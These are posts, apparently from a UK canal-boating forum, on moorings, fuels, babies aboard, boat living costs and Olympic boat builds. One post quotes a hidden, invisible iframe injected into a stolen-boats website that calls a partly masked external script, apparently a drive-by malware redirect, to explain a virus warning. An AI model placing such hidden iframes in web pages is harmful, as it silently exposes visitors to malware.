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<snip>The whole site encompassing the Great Northern Basin and the Langley Mill Boat Co. moorings and dry dock has been brought back from dereliction to provide both a well used public amenity and a useful and much needed boaters' facility. Public access to the moorings will destroy any security and lead to a exodus of boats and the Erewash does need as many boats as possible. Regards, HughC.
Of course, no point having public access to a public amenity eh!
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At last a bit of sense talked about 'carbon neutrality'. But why just 100 years? Any fuel which is burned to produce energy is carbon neutral in the long term, in that it was produced by plants absorbing and fixing the carbon dioxide from the atmosphere, and burning releases that carbon dioxide again. The big problem is that 99% of the fuel burned (oil, coal, gas) was produced from an atmosphere and in a world inimical to human life, and our atmosphere and world is heading back that way again. So-called 'carbon neutral' fuels - straw, wood - are at present an irrelevance in this process compared to fossil fuels.
The only way to obtain energy in a sustainable way is to harness various processes not involving burning fuel This means wind, wave, tide, hydro, and solar cells. I've omitted nuclear because it is sheer madness to produce waste which will remain lethal for longer than civilisation have so far existed.
BTW, Carl, each to his own about oilseed rape - I see it as just another crop, in fact a chheerful addition to the patchwork of the British landscape. But then I think the same way about wind turbines.
<cynic>And how much carbon is used up making the equipment and building all those 'sustainable' processes (wind turbine lifespan is approx. 25 years at the moment)?</cynic>
The good thing is that straw, other than being bedding for animals, is mostly just ploughed back into the ground. A few years back the price for straw shot up so farms all over the land around the one I was working on started bailing instead of ploughing the stuff in. This tells me there is enough surplus to keep the price relatively stable.
Fortunately you can burn oil seed rape straw too
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Engine order telegraph? My link
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Well, I'm rather younger than 55, and I seem to have a vague recollection of going to University, and at no point in my formal education have I ever been taught set theory.
I should add that when I took Maths O-Level, set theory WAS part of the alternative "modern mathematics" sylabus, but I sat "traditional mathematics", and learned trigonometry instead.
I'm considerably younger than 55 and O-levels had been done away with when I was at school. If they taught me set theory it didn't stick as I've never heard of it before now (had to look it up!).
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Caffeine, the gateway drug to grumpiness, ill temper and rudeness.
Have you tried chamomile tea?
Dont' talk nonsense you damned fool.
Blooming people always bringing down caffeine sheesh!!!
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If, for example, I live in a busy area of some city where they charge for on road parking (for purposes of this question the residents have to pay for parking too) but my garden was large enough I would be able, without planning permission or charge (except the dropping of the Kerb) be able to put a driveway on my garden. The only exception to this as far as I know is listed properties.
So if you have a garden that has a canal at the end is there anything stopping you, if the garden is large enough, to create your own small mooring by digging out your garden and thus ensuring that the land under the boat is owned by you?
I guess this could be a separate thread but it is kinda relative, in a strange twisted way, to this thread (and it's not like this forum ever goes off topic either
)Edited for American spellchecker (cheers athy)
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Never had one,never will.
Tim
Was going to go down the 'so you have nothing valuable to add to this thread' route but as this isn't the first time I've seen you post this I'm wondering why you've never had a survey done?
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I was going to say the insurance company can ensure greater publicity if they get the details published on www.stolenboats.org.uk, but when I go to that site my virus checker suggest it is infected
it'll probably be that hidden iframe -
<iframe src='http://****ump.in/direct/gogo.php?sid=2' width='2' height='4' frameborder='0' style='visibility: hidden;'></iframe><br />
ETA - shame really as that would be a very useful site!
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(For the OP...) Purely aesthetic, not something you need to worry about and really comes under advanced theoretical boating.
(OK, it's meant to replicate the gorgeous shape of a Fellows Morton and Clayton boat, particularly one built at Saltley, but most of the ones that claim to be are nothing like)
Try telling my wife that! She insists we get a 'Josher style'.
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But my only question that someone might be able to help me with is heating. It would be our first baby, so not really an expert, and I read a few books about keeping a constant temperature for a new born above 18 degrees ??? We have a cracking stove and some diesel radiators, and for us, even in the depths of -14 in freezing January we are fine, with extra layers and thick pjs. How do other people find this with children?, Is the very cold weather a problem for babies? Any tips?
The advice is to have their temperature between 16 and 18 degrees. Although we're not on a boat (yet) we do have problems with our heating - i.e. it doesn't bloody work - we managed to keep our baby comfy at night using sleeping bags (one thin one for warm nights and a thick one for cold nights).
We were worried about how difficult it could be to keep the house warm enough but were reassured by the health visitors who told us that if she was too cold she'd let us know but not to let her get too hot (one of the main causes of cot death is overheating).
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Probably because flicking it into the hedge back does not (in most folks minds) constitute 'cleaning up' after your dog, it constitutes moving the mess elswhere.
I understand what you are saying but animal waste is a natural, biodegradeable thing and you will find fields full of cow pats and fells full of sheep droppings not to mention all the other excrement the wildlife of the land produces. It only becomes a problem and socially unaccptable if it is left in a place where someone is likelt to have a close encounter with it. By moving it to within a hedge it is moving it to a place where it will naturally decompose, providing a food source for the dung beetles of this land who become part of the food chain. It will in it's small way add nutrients to the soil. Why send a perfectly biodegradable substance to landfill?
As I see it by sending it to landfill you are simply sending the mess elsewhere rather than allowing it to harmlessly decompose out of the reach of harm.
Leaf mold. Brilliant stuff. easy to 'dig' a hole with your foot and to coat the shit to avoid sticking to your shoe. A bit of careful manipulation later and the offending pile is neatly buried out of harms way.
Hard surfaces - more difficult but generally launching the offending pile into the rough or a hedge with a bit of stick where a human is highly unlikily to ever set foot seems to be the best option.
As for putting shit in bags and taking it home, well I can't think of a more stupid idea to be honest
I am very aware of the diseases that can be spread by dog poo but do young children really crawl around in the base of a thick hedge? I would tend to agree where the hedge is a neatly manicured one in an urban setting such as in a community park where there will be lots of children but when walking your dog along a country footpath or a towpath I do not see any problem with flicking the poo deep into the hedge. After all if said small child is not accompanied by a responsible adult then I suspect the danger from the canal would be more worry than a small pile of poo deep in a hedge. Perhaps we ought to do something about those dangerous deadly nightshade plants and fungi that might also be lurking in the hedge too?
As for cat poo......... don't even start me on all he cats that use our garden as a toilet
(but then we do not have a small child so it must be alright!)Spare a thought for the poor chaps that have to lay those hedges!
(but I agree, flick it in a hedge, especially the ones I don't have to lay!)
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With road tax were encouraged to report offenders as the more people that get away with it the more we have to pay ( think i saw a poster somewhere ) is this not the same with boat license money ?
I was taking an old car for an mot years ago it had no tax as it was a project which broke down on the way !! the AA refused to help as it was un taxed...? so in that case i was refused help for not having a license !! bah
But agree people shouldn't speculate...
Road tax was abolished in 1937, you have Winston Churchill to thank.
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Don't get me wrong I'm not saying it's not possible but the builder in question has been in the game for years if not decades and I couldn't see them getting caught like that TBH.
I agree, they don't seem like the type of people to get shafted by a big company, lets hope they didn't.
A while ago they were advertising for people who already had one - who would have got it at their own expense, and it's not cheap.
I haven't seen any suggestion that they're funding training. There was also some speculation a while back that there simply wouldn't be enough sufficiently qualified people to operate so many boats, nor the time and funds to train them.
Maybe they hired 'overseas' personnel who have the qualification or equivalent qualification?
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However if that is correct - and we have no real reason to say it may or may not be, it would demonstrate incredible naivety in them (Colecraft) not having a contract stating the individual unit price was governed by the number of units ordered, so that if the final number ordered and delivered reduced the unit price would increase.
A very good point. I should really try waking up before posting.
Build slots were something that was mentioned (now I've had a coffee I remember that!).
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Thought they might be - personally I'm just glad some long standing UK boat builder has got something out of the Olympics 2012...
When we visited Colecraft their yard was full of the boats and the old chap there (Can't remember his name, but he showed us around) was telling us the company that ordered them originally ordered 30 boats. After building started they reduced the number to 20 then to 15. It sounded like they got the quote for 30 accepted it then when they'd paid they reduced the boat numbers to get a better price (robbing bastards!).
(disclaimer - I'm only going by what I heard and what my opinion is. I base none of the above on fact)
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Hi
Me and my partner are expecting our first baby any day now, and are also awaiting the delivery of our new 60ft floating home. Id really like to make contact with other boating families who have had or are experiencing life aboard with a baby. Anything to be aware of dispite the obvious water and stove risks that always get brought up. Any advice for cruising and locking with a small one? Im quite confident in living aboard but my partner will be new to it so would be good to hear from others in the same boat, pardon the pun.
Alex
No advice from me but enjoy being a father, it is a life changing, amazing thing. Congratulations to you both
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This is something we have often wondered when we see rat boats. First how can anyone live in something like that, some look too small to have a toilet never mind a shower. Do the owners work ? If so how do they make sure they get to work without requiring their workmates to wear nose clips ? If they don`t work how did they buy the boats (not that they look that expensive mind) ? And how do they sign on ? Do they have to walk to the dole office ? And I thought you had to have a permanent address (and be available for work) in order to draw the dole ?
And finally...... I`m not having a go at anyone here, I`m just interested to know, how many of the people on those rat boats have, how can I put this, "social problems" ?
I think the answer may be none.
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The diesel and solid fuel figures you posted are monthly - right?
Richard
For the first year yes, we wouldn't be doing much, if any, cruising and we have access to free firewood but decided to put a figure for solid fuel anyway, did we grossly underestimate that?
which judge?
In the case that I mentioned in the words preceding 'the judge'.
I get the feeling you're just proding me now to see what will happen next.
Ok - you are very naive then..
Are you bored?
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Ours did...
perhaps if you stopped posting in riddles?
You must have a very nice boat.
I've been more than open and answered questions so don't see how I'm posting in riddles.
I understand that the clause you mention is to ensure that the mooring is NOT residential
Richard
I stand corrected, thank you.
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but not yours??
You did ask if we felt you had missed anything so stop being evasive if you have...
fairy nuff if you haven;t..
Sorry if I came across as being evasive it was not my intention.
It was one of the things I checked then double checked. There is a clause in the terms that require the boat being empty or off the mooring for 30 consecutive nights which seems to be a clause to negate the need for paying council tax (much like the case where the judge ruled that if a marina can ask you to move mooring to accommodate another boat then you do not have to pay council tax - I may have misread that one though!)
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The figures for the boat don't include anything for the capital, loan repayment/interest or depreciation, and as such, are meaningless.
To make it easier to compare, if you put this aside (say you own the boat - so to compare on a like-for-like basis, lets say you're comparing it to owning a home (no mortgage)), and adding a council tax payment (lets say its less, £100/month?) and the £100/month set aside for maintenance, into the boat figures:
House: £385 per month
Boat: £637 per month
We have enough to buy a boat yet not enough to put a deposit on a mortgage.
You are making the assumption that a boat is going to cost the same as a house.
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Does your marina mooring have residential status or leisure status?
Residential and I'm guessing you're asking as Council tax is paid at most residential marinas?
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I'd estimate about 95% of respondants to this type of question say that living on a boat is more expensive than the equivalent, or as near to equivalent, accommodation in a normal house. I'd have thought to add weight to your point of view, you'd be able to expand and clarify why it is cheaper. If not the exact figures, can you explain why so many people think its more expensive yet you think its cheaper, eg what are you getting cheaper than anyone else, and how?
Right... here are the figures;
Living Costs in a house in our area:
-£550pcm rent
-£150pcm council tax (This area has extra charges due to being in a parish)
-£35 water
-£75 electric and gas
-£60 phone, mobile, internet
-£15 home insurance
Total: £885pcm
Living Costs for a narrowboat moored in the area;
-£200pcm mooring (2200 per year).
-£100pcm license
-£0 council tax in the above marina mooring
-£30 electric costs
-£30 stove fuels
-£20 diesel (sat in a marina approx 95% of the time)
-£37 insurance
-£20 mobile (wifi is included in marina cost).
Total: £437
Things such as blacking, BSS cert and other costs would be covered by putting £50-£100 into savings account.
All other costs for car etc would be identical as the marina is no further than a house in the area.
The boat would also be ours whereas a house (or for the cost listed, a flat) wouldn't.
If there's anything we haven't thought about then please tell us.
(but then we do not have a small child so it must be alright!)
BBC's Dire Coverage of the Thames Flotilla and other Jubillee Events
in General Boating
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I've signed and shared even though, as has been pointed out, it's not technically a pettition - it's all in the spirit of the wotsit though.
Personally though I couldn't give two poops about the olympics.
Oh, just realised (as I have it on in the background) the flotilla was very 'one show' .. in other words bloody awful viewing but good for the celebs to have a chat.